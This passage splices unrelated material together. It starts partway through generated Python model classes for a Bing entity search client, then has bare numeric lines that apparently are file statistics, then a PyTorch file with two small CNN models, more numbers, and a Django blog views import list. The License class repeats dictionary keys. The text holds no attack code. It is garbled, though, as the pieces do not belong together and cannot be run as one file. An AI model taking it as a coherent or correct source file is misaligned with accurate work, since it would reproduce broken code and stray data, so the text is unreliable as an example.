:vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar thumbnail_url: The URL to a thumbnail of the item. :vartype thumbnail_url: str :ivar provider: The source of the creative work. :vartype provider: list[~entity_search_client.models.Thing] :ivar text: :vartype text: str """ _validation = { 'id': {'readonly': True}, 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'thumbnail_url': {'readonly': True}, 'provider': {'readonly': True}, 'text': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'thumbnail_url': {'key': 'thumbnailUrl', 'type': 'str'}, 'provider': {'key': 'provider', 'type': '[Thing]'}, 'text': {'key': 'text', 'type': 'str'}, } def __init__( self, **kwargs ): super(License, self).__init__(**kwargs) class LodgingBusiness(LocalBusiness): """LodgingBusiness. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar address: The postal address of where the entity is located. :vartype address: ~entity_search_client.models.PostalAddress :ivar telephone: The entity's telephone number. :vartype telephone: str :ivar price_range: $$. :vartype price_range: str :ivar panoramas: :vartype panoramas: list[~entity_search_client.models.ImageObject] :ivar is_permanently_closed: :vartype is_permanently_closed: bool :ivar tag_line: :vartype tag_line: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'address': {'readonly': True}, 'telephone': {'readonly': True}, 'price_range': {'readonly': True}, 'panoramas': {'readonly': True}, 'is_permanently_closed': {'readonly': True}, 'tag_line': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'address': {'key': 'address', 'type': 'PostalAddress'}, 'telephone': {'key': 'telephone', 'type': 'str'}, 'price_range': {'key': 'priceRange', 'type': 'str'}, 'panoramas': {'key': 'panoramas', 'type': '[ImageObject]'}, 'is_permanently_closed': {'key': 'isPermanentlyClosed', 'type': 'bool'}, 'tag_line': {'key': 'tagLine', 'type': 'str'}, } def __init__( self, **kwargs ): super(LodgingBusiness, self).__init__(**kwargs) class MovieTheater(LocalBusiness): """MovieTheater. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar address: The postal address of where the entity is located. :vartype address: ~entity_search_client.models.PostalAddress :ivar telephone: The entity's telephone number. :vartype telephone: str :ivar price_range: $$. :vartype price_range: str :ivar panoramas: :vartype panoramas: list[~entity_search_client.models.ImageObject] :ivar is_permanently_closed: :vartype is_permanently_closed: bool :ivar tag_line: :vartype tag_line: str :ivar screen_count: :vartype screen_count: int """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'address': {'readonly': True}, 'telephone': {'readonly': True}, 'price_range': {'readonly': True}, 'panoramas': {'readonly': True}, 'is_permanently_closed': {'readonly': True}, 'tag_line': {'readonly': True}, 'screen_count': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'address': {'key': 'address', 'type': 'PostalAddress'}, 'telephone': {'key': 'telephone', 'type': 'str'}, 'price_range': {'key': 'priceRange', 'type': 'str'}, 'panoramas': {'key': 'panoramas', 'type': '[ImageObject]'}, 'is_permanently_closed': {'key': 'isPermanentlyClosed', 'type': 'bool'}, 'tag_line': {'key': 'tagLine', 'type': 'str'}, 'screen_count': {'key': 'screenCount', 'type': 'int'}, } def __init__( self, **kwargs ): super(MovieTheater, self).__init__(**kwargs) self.screen_count = None class Organization(Thing): """Defines an organization. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, } def __init__( self, **kwargs ): super(Organization, self).__init__(**kwargs) class Places(SearchResultsAnswer): """Defines a local entity answer. Variables are only populated by the server, and will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar query_context: Defines the query context that Bing used for the request. :vartype query_context: ~entity_search_client.models.QueryContext :param value: Required. A list of local entities, such as restaurants or hotels. :type value: list[~entity_search_client.models.Thing] """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'query_context': {'readonly': True}, 'value': {'required': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'query_context': {'key': 'queryContext', 'type': 'QueryContext'}, 'value': {'key': 'value', 'type': '[Thing]'}, } def __init__( self, **kwargs ): super(Places, self).__init__(**kwargs) self.value = kwargs['value'] class PostalAddress(Intangible): """Defines a postal address. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar street_address: :vartype street_address: str :ivar address_locality: The city where the street address is located. For example, Seattle. :vartype address_locality: str :ivar address_subregion: :vartype address_subregion: str :ivar address_region: The state or province code where the street address is located. This could be the two-letter code. For example, WA, or the full name , Washington. :vartype address_region: str :ivar postal_code: The zip code or postal code where the street address is located. For example, 98052. :vartype postal_code: str :ivar post_office_box_number: :vartype post_office_box_number: str :ivar address_country: The country/region where the street address is located. This could be the two-letter ISO code. For example, US, or the full name, United States. :vartype address_country: str :ivar country_iso: The two letter ISO code of this country. For example, US. :vartype country_iso: str :ivar neighborhood: The neighborhood where the street address is located. For example, Westlake. :vartype neighborhood: str :ivar address_region_abbreviation: Region Abbreviation. For example, WA. :vartype address_region_abbreviation: str :ivar text: The complete address. For example, 2100 Westlake Ave N, Bellevue, WA 98052. :vartype text: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'street_address': {'readonly': True}, 'address_locality': {'readonly': True}, 'address_subregion': {'readonly': True}, 'address_region': {'readonly': True}, 'postal_code': {'readonly': True}, 'post_office_box_number': {'readonly': True}, 'address_country': {'readonly': True}, 'country_iso': {'readonly': True}, 'neighborhood': {'readonly': True}, 'address_region_abbreviation': {'readonly': True}, 'text': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'street_address': {'key': 'streetAddress', 'type': 'str'}, 'address_locality': {'key': 'addressLocality', 'type': 'str'}, 'address_subregion': {'key': 'addressSubregion', 'type': 'str'}, 'address_region': {'key': 'addressRegion', 'type': 'str'}, 'postal_code': {'key': 'postalCode', 'type': 'str'}, 'post_office_box_number': {'key': 'postOfficeBoxNumber', 'type': 'str'}, 'address_country': {'key': 'addressCountry', 'type': 'str'}, 'country_iso': {'key': 'countryIso', 'type': 'str'}, 'neighborhood': {'key': 'neighborhood', 'type': 'str'}, 'address_region_abbreviation': {'key': 'addressRegionAbbreviation', 'type': 'str'}, 'text': {'key': 'text', 'type': 'str'}, } def __init__( self, **kwargs ): super(PostalAddress, self).__init__(**kwargs) self.street_address = None self.address_locality = None self.address_subregion = None self.address_region = None self.postal_code = None self.post_office_box_number = None self.address_country = None self.country_iso = None self.neighborhood = None self.address_region_abbreviation = None self.text = None class QueryContext(msrest.serialization.Model): """Defines the query context that Bing used for the request. Variables are only populated by the server, and will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :param original_query: Required. The query string as specified in the request. :type original_query: str :ivar altered_query: The query string used by Bing to perform the query. Bing uses the altered query string if the original query string contained spelling mistakes. For example, if the query string is "saling downwind", the altered query string will be "sailing downwind". This field is included only if the original query string contains a spelling mistake. :vartype altered_query: str :ivar alteration_override_query: The query string to use to force Bing to use the original string. For example, if the query string is "saling downwind", the override query string will be "+saling downwind". Remember to encode the query string which results in "%2Bsaling+downwind". This field is included only if the original query string contains a spelling mistake. :vartype alteration_override_query: str :ivar adult_intent: A Boolean value that indicates whether the specified query has adult intent. The value is true if the query has adult intent; otherwise, false. :vartype adult_intent: bool :ivar ask_user_for_location: A Boolean value that indicates whether Bing requires the user's location to provide accurate results. If you specified the user's location by using the X-MSEdge-ClientIP and X-Search-Location headers, you can ignore this field. For location aware queries, such as "today's weather" or "restaurants near me" that need the user's location to provide accurate results, this field is set to true. For location aware queries that include the location (for example, "Seattle weather"), this field is set to false. This field is also set to false for queries that are not location aware, such as "best sellers". :vartype ask_user_for_location: bool """ _validation = { 'original_query': {'required': True}, 'altered_query': {'readonly': True}, 'alteration_override_query': {'readonly': True}, 'adult_intent': {'readonly': True}, 'ask_user_for_location': {'readonly': True}, } _attribute_map = { 'original_query': {'key': 'originalQuery', 'type': 'str'}, 'altered_query': {'key': 'alteredQuery', 'type': 'str'}, 'alteration_override_query': {'key': 'alterationOverrideQuery', 'type': 'str'}, 'adult_intent': {'key': 'adultIntent', 'type': 'bool'}, 'ask_user_for_location': {'key': 'askUserForLocation', 'type': 'bool'}, } def __init__( self, **kwargs ): super(QueryContext, self).__init__(**kwargs) self.original_query = kwargs['original_query'] self.altered_query = None self.alteration_override_query = None self.adult_intent = None self.ask_user_for_location = None class Restaurant(LocalBusiness): """Restaurant. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar address: The postal address of where the entity is located. :vartype address: ~entity_search_client.models.PostalAddress :ivar telephone: The entity's telephone number. :vartype telephone: str :ivar price_range: $$. :vartype price_range: str :ivar panoramas: :vartype panoramas: list[~entity_search_client.models.ImageObject] :ivar is_permanently_closed: :vartype is_permanently_closed: bool :ivar tag_line: :vartype tag_line: str :ivar accepts_reservations: :vartype accepts_reservations: bool :ivar reservation_url: :vartype reservation_url: str :ivar serves_cuisine: :vartype serves_cuisine: list[str] :ivar menu_url: :vartype menu_url: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'address': {'readonly': True}, 'telephone': {'readonly': True}, 'price_range': {'readonly': True}, 'panoramas': {'readonly': True}, 'is_permanently_closed': {'readonly': True}, 'tag_line': {'readonly': True}, 'accepts_reservations': {'readonly': True}, 'reservation_url': {'readonly': True}, 'serves_cuisine': {'readonly': True}, 'menu_url': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'address': {'key': 'address', 'type': 'PostalAddress'}, 'telephone': {'key': 'telephone', 'type': 'str'}, 'price_range': {'key': 'priceRange', 'type': 'str'}, 'panoramas': {'key': 'panoramas', 'type': '[ImageObject]'}, 'is_permanently_closed': {'key': 'isPermanentlyClosed', 'type': 'bool'}, 'tag_line': {'key': 'tagLine', 'type': 'str'}, 'accepts_reservations': {'key': 'acceptsReservations', 'type': 'bool'}, 'reservation_url': {'key': 'reservationUrl', 'type': 'str'}, 'serves_cuisine': {'key': 'servesCuisine', 'type': '[str]'}, 'menu_url': {'key': 'menuUrl', 'type': 'str'}, } def __init__( self, **kwargs ): super(Restaurant, self).__init__(**kwargs) self.accepts_reservations = None self.reservation_url = None self.serves_cuisine = None self.menu_url = None class SearchResponse(Response): """Defines the top-level object that the response includes when the request succeeds. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar query_context: An object that contains the query string that Bing used for the request. This object contains the query string as entered by the user. It may also contain an altered query string that Bing used for the query if the query string contained a spelling mistake. :vartype query_context: ~entity_search_client.models.QueryContext :ivar entities: A list of entities that are relevant to the search query. :vartype entities: ~entity_search_client.models.Entities :ivar places: A list of local entities such as restaurants or hotels that are relevant to the query. :vartype places: ~entity_search_client.models.Places """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'query_context': {'readonly': True}, 'entities': {'readonly': True}, 'places': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'query_context': {'key': 'queryContext', 'type': 'QueryContext'}, 'entities': {'key': 'entities', 'type': 'Entities'}, 'places': {'key': 'places', 'type': 'Places'}, } def __init__( self, **kwargs ): super(SearchResponse, self).__init__(**kwargs) self.query_context = None self.entities = None self.places = None class StructuredValue(Thing): """StructuredValue. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, } def __init__( self, **kwargs ): super(StructuredValue, self).__init__(**kwargs) class TouristAttraction(Place): """TouristAttraction. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar address: The postal address of where the entity is located. :vartype address: ~entity_search_client.models.PostalAddress :ivar telephone: The entity's telephone number. :vartype telephone: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'address': {'readonly': True}, 'telephone': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'address': {'key': 'address', 'type': 'PostalAddress'}, 'telephone': {'key': 'telephone', 'type': 'str'}, } def __init__( self, **kwargs ): super(TouristAttraction, self).__init__(**kwargs)
41.795215
308
0.641767
11,881
103,067
5.417978
0.040485
0.061518
0.02032
0.039148
0.815709
0.804198
0.795125
0.782713
0.778487
0.777509
0
0.000275
0.222477
103,067
2,465
309
41.81217
0.802987
0.470995
0
0.741827
1
0
0.390478
0.086172
0
0
0
0
0
1
0.031852
false
0
0.001676
0
0.129925
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
5a395d24ad81d286ba1d1fb526b3d85d3101b8fb
3,079
py
Python
crl_kino/estimator/network.py
sldai/MPNet_RL
bb27caae17b6c52b26400bb7697e0d6f07191c34
[ "MIT" ]
10
2020-07-29T01:27:39.000Z
2022-03-13T23:03:48.000Z
crl_kino/estimator/network.py
sldai/MPNet_RL
bb27caae17b6c52b26400bb7697e0d6f07191c34
[ "MIT" ]
null
null
null
crl_kino/estimator/network.py
sldai/MPNet_RL
bb27caae17b6c52b26400bb7697e0d6f07191c34
[ "MIT" ]
1
2020-07-30T06:36:42.000Z
2020-07-30T06:36:42.000Z
import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import torchvision import os import torch import numpy as np class EstimatorModel(nn.Module): def __init__(self): super(EstimatorModel, self).__init__() """ self.linear1 = nn.Linear(in_dim, 500) self.linear2 = nn.Linear(500, 200) self.linear3 = nn.Linear(200, 100) self.linear4 = nn.Linear(100, 1) self.tanh = nn.Tanh() """ self.linear = nn.Linear(67, 1) self.relu = nn.ReLU() #self.dropout = nn.Dropout(0.5) self.conv1 = nn.Conv2d(1, 8, 3, padding=1) self.conv2 = nn.Conv2d(8, 16, 3, padding=1) self.conv3 = nn.Conv2d(16, 32, 3, padding=1) self.conv4 = nn.Conv2d(32, 64, 3, padding=1) self.avgpool = nn.AdaptiveAvgPool2d((1, 1)) self.maxpool = nn.MaxPool2d(2) self.sigmoid = nn.Sigmoid() def forward(self, x, ext): x = self.conv1(x) x = self.relu(x) x = self.maxpool(x) #(8, 14, 14) x = self.conv2(x) x = self.relu(x) x = self.maxpool(x) #(16, 7, 7) x = self.conv3(x) x = self.relu(x) x = self.maxpool(x) #(32, 4, 4) x = self.conv4(x) x = self.relu(x) x = self.avgpool(x) #(64, 1, 1) x = torch.flatten(x, 1) x = torch.cat([x, ext], 1) y = self.linear(x) #y = self.sigmoid(y) return y class ClassifierModel(nn.Module): def __init__(self): super(ClassifierModel, self).__init__() """ self.linear1 = nn.Linear(in_dim, 500) self.linear2 = nn.Linear(500, 200) self.linear3 = nn.Linear(200, 100) self.linear4 = nn.Linear(100, 1) self.tanh = nn.Tanh() """ self.linear = nn.Linear(67, 1) self.relu = nn.ReLU() #self.dropout = nn.Dropout(0.5) self.conv1 = nn.Conv2d(1, 8, 3, padding=1) self.conv2 = nn.Conv2d(8, 16, 3, padding=1) self.conv3 = nn.Conv2d(16, 32, 3, padding=1) self.conv4 = nn.Conv2d(32, 64, 3, padding=1) self.avgpool = nn.AdaptiveAvgPool2d((1, 1)) self.maxpool = nn.MaxPool2d(2) self.sigmoid = nn.Sigmoid() def forward(self, x, ext): x = self.conv1(x) x = self.relu(x) x = self.maxpool(x) #(8, 14, 14) x = self.conv2(x) x = self.relu(x) x = self.maxpool(x) #(16, 7, 7) x = self.conv3(x) x = self.relu(x) x = self.maxpool(x) #(32, 4, 4) x = self.conv4(x) x = self.relu(x) x = self.avgpool(x) #(64, 1, 1) x = torch.flatten(x, 1) x = torch.cat([x, ext], 1) y = self.linear(x) y = self.sigmoid(y) return y
24.244094
52
0.476778
414
3,079
3.502415
0.152174
0.082759
0.066207
0.071724
0.864828
0.864828
0.831724
0.831724
0.831724
0.831724
0
0.089427
0.382592
3,079
127
53
24.244094
0.67333
0.05229
0
0.835821
0
0
0
0
0
0
0
0
0
1
0.059701
false
0
0.119403
0
0.238806
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ce7e70ccb19fe0643c9d1a651e6e227102d45357
413
py
Python
fluent_blogs/views/__init__.py
klavman/django-fluent-blogs
e78e30edb3540bfe5e2e29b0754c47495270d524
[ "Apache-2.0" ]
1
2021-07-07T00:14:23.000Z
2021-07-07T00:14:23.000Z
fluent_blogs/views/__init__.py
klavman/django-fluent-blogs
e78e30edb3540bfe5e2e29b0754c47495270d524
[ "Apache-2.0" ]
null
null
null
fluent_blogs/views/__init__.py
klavman/django-fluent-blogs
e78e30edb3540bfe5e2e29b0754c47495270d524
[ "Apache-2.0" ]
null
null
null
from fluent_blogs.views.entries import ( EntryArchiveIndex, EntryYearArchive, EntryMonthArchive, EntryDayArchive, EntryDetail, EntryShortLink, EntryCategoryArchive, EntryAuthorArchive, EntryTagArchive ) __all__ = ( 'EntryArchiveIndex', 'EntryYearArchive', 'EntryMonthArchive', 'EntryDayArchive', 'EntryDetail', 'EntryShortLink', 'EntryCategoryArchive', 'EntryAuthorArchive', 'EntryTagArchive', )
